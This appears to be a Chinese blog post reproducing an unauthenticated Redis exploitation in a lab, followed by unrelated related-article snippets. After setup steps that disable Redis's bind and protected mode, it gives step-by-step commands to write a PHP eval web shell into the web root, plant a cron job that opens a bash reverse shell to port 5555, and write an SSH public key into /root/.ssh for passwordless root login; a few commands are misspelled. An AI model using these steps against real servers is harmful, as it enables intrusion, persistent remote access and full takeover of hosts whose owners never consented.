首页 > 数据库 >Redis未授权访问Getshell

Redis未授权访问Getshell

时间:2023-04-04 21:58:04浏览次数:42  
标签:Getshell set cli Redis redis ssh ip 授权 config

漏洞成因

有些redis绑在0.0.0.0:6379,没有开启验证或者没有设置对未知ip来源进行限制以及默认的空密码就导致了redis默认访问

但是这个普遍的漏洞极可能造成后门植入getshell,也可能造成反弹shell权限维持,甚至会造成ssh直接免密连接服务器

开始复现

搭建环境

服务器操作系统为ubuntu,ip为192.168.58.129

sudo apt update
sudo apt install redis-server
sudo systemctl status redis-server
sudo vim /etc/redis/redis.conf
将 bind 127.0.0.1 ::1 注释掉
  # bind 127.0.0.1 ::1
将 protected-mode 改成 no
  protected-mode no
保存配置文件
重启Redis服务器 使其生效
sudo systemctl restart redis-server

 

后面植入getshell

前提条件要知道网站的绝对路径和开启了web服务

使用kali进行远程连接,使用redis-cli

 

redis-cli -p ip 未授权连接redis

 

config get dir 获取redis的备份文件

 

config set dir /var/www/html 设置路径为网站路径

 

config set dbfilename shell.php 设置文件名
set x "<?php eval($_POST['shell']);?>" 给文件写入shell

 

设置定时任务定时反弹权限维持

1.redis-cli -h ip
2.config set dir /var/spool/corn 设置路径为定时任务路径
3.set x “\n***** bash -i >& /dev/tcp ip/5555 0>&\n” 设置定时任务,反弹到5555端口
4.save
5.攻击机监听5555端口

 

写入ssh公钥远程连接

1.ssh-keygen -t rsa 生成ssh公钥
2.redis-cli -h ip redis未授权连接
3.redis-cli ip 连接服务器
4.config getdir 获取redis备份路径
5.config set dir /root/.ssh 设置备份路径为ssh公钥存放目录
6.config set dbfilename xx 设置上传公钥备份文件名为
7.cat /key.txt | redis_cli -h ip -x set pub 将公钥写入redis缓冲
8.ssh -i id_rsa root@ip 免密登录

 

标签:Getshell,set,cli,Redis,redis,ssh,ip,授权,config
From: https://www.cnblogs.com/mu-yi2/p/17288019.html

相关文章

  • Redis 在 vivo 推送平台的应用与优化实践
    一、推送平台特点vivo推送平台是vivo公司向开发者提供的消息推送服务,通过在云端与客户端之间建立一条稳定、可靠的长连接,为开发者提供向客户端应用实时推送消息的服务,支持百亿级的通知/消息推送,秒级触达移动用户。推送平台的特点是并发高、消息量大、送达及时性较高。目前现状最高......
  • Redis支持的数据结构
    Redis数据库提供了多种数据结构,其中最常见的数据结构有String(字符串)、List(表)、Set(集合)、Hash(散列)、SortedSets(有序集合)。 (1)String(字符串)String字符串是Redis中最基本也是最简单的数据结构,其值是二进制安全的,值的数据类型可以为数字、文本、图片、视频或者序列化的对......
  • Redis概述
    键值对存储数据库是NoSQL数据库的一种类型,也是最简单的NoSQL数据库。顾名思义,键值对存储数据库中的数据是以键值对的形式来存储的。常见的键值对存储数据库有Redis、TokyoCabinet/Tyrant、Voldemort以及OracleBDB数据库。 Redis简介RemoteDic......
  • Redis——面试问题集合
    那你能说说Redis是单线程的?Redis完全基于内存,绝大部分请求是纯粹的内存操作,非常迅速,数据存在内存中,类似于HashMap,HashMap的优势就是查找和操作的时间复杂度是O(1)。数据结构简单,对数据操作也简单。采用单线程,避免了不必要的上下文切换和竞争条件,不存在多线程导致的CPU切换......
  • Redis 内存优化在 vivo 的探索与实践
    作者:vivo互联网服务器团队-TangWenjian一、背景使用过Redis的同学应该都知道,它基于键值对(key-value)的内存数据库,所有数据存放在内存中,内存在Redis中扮演一个核心角色,所有的操作都是围绕它进行。我们在实际维护过程中经常会被问到如下问题,比如数据怎么存储在Redis里面能......
  • Redis——知识脑图
    摘要Redis相关学习资源和知识脑图。一、gitee的相关资源:https://gitee.com/xjl2462612540/RedisPrinciple二、Redis的知识脑图三、Redis基础原理文章3.1Redis命令执行原理Redis——Redis命令执行原理_庄小焱的博客3.2Redis底层数据结构原理Redis——底层数据结构原理_庄小焱的博......
  • Docker 部署单机 Redis + exporter
    目录资源清单一、Docker安装1.使用国内yum源2.卸载旧版本的docker3.安装Docker20.10版本4.设置镜像加速5.启动docker二、Docker-compose安装1.Docker-compose安装2.查看docker-compose版本三、部署服务1.docker-compose.yaml资源清单2.创建目录结构3./etc/r......
  • Redis数据库容灾备份企业实战及故障恢复【转】
    本章目录0x00数据持久化1.RDB方式2.AOF方式如何抉择RDBORAOF?0x01备份容灾 一、备份1.手动备份redis数据库2.迁移Redis指定db-数据库3.Redis集群数据备份与迁移二、恢复1.系统Redis用户被删除后配置数据恢复流程2.Kubernetes中单实例异常数据迁移恢复实践......
  • 2台机器安装Redis主从
    1.配置redis.conf(主)bind127.0.0.1#注释掉protected-modeno#关闭保护模式daemonizeyes#开启后台守护进程logfile"/var/log/redis/redis.log"#日志文件路径2.配置redis.conf(从)bind127.0.0.1#注释掉protected-modeno#关闭保护模式daemonizeyes#开启后台守护进......
  • MySQL8的root帐号授权
    执行下面的命令MySQL8会报错:grantallprivilegesondb_name.*to'root'@'%'###Cause:java.sql.SQLSyntaxErrorException:Accessdeniedforuser'root'@'%'todatabase'db_name'解决办法:SELECT`User`,`Grant_priv......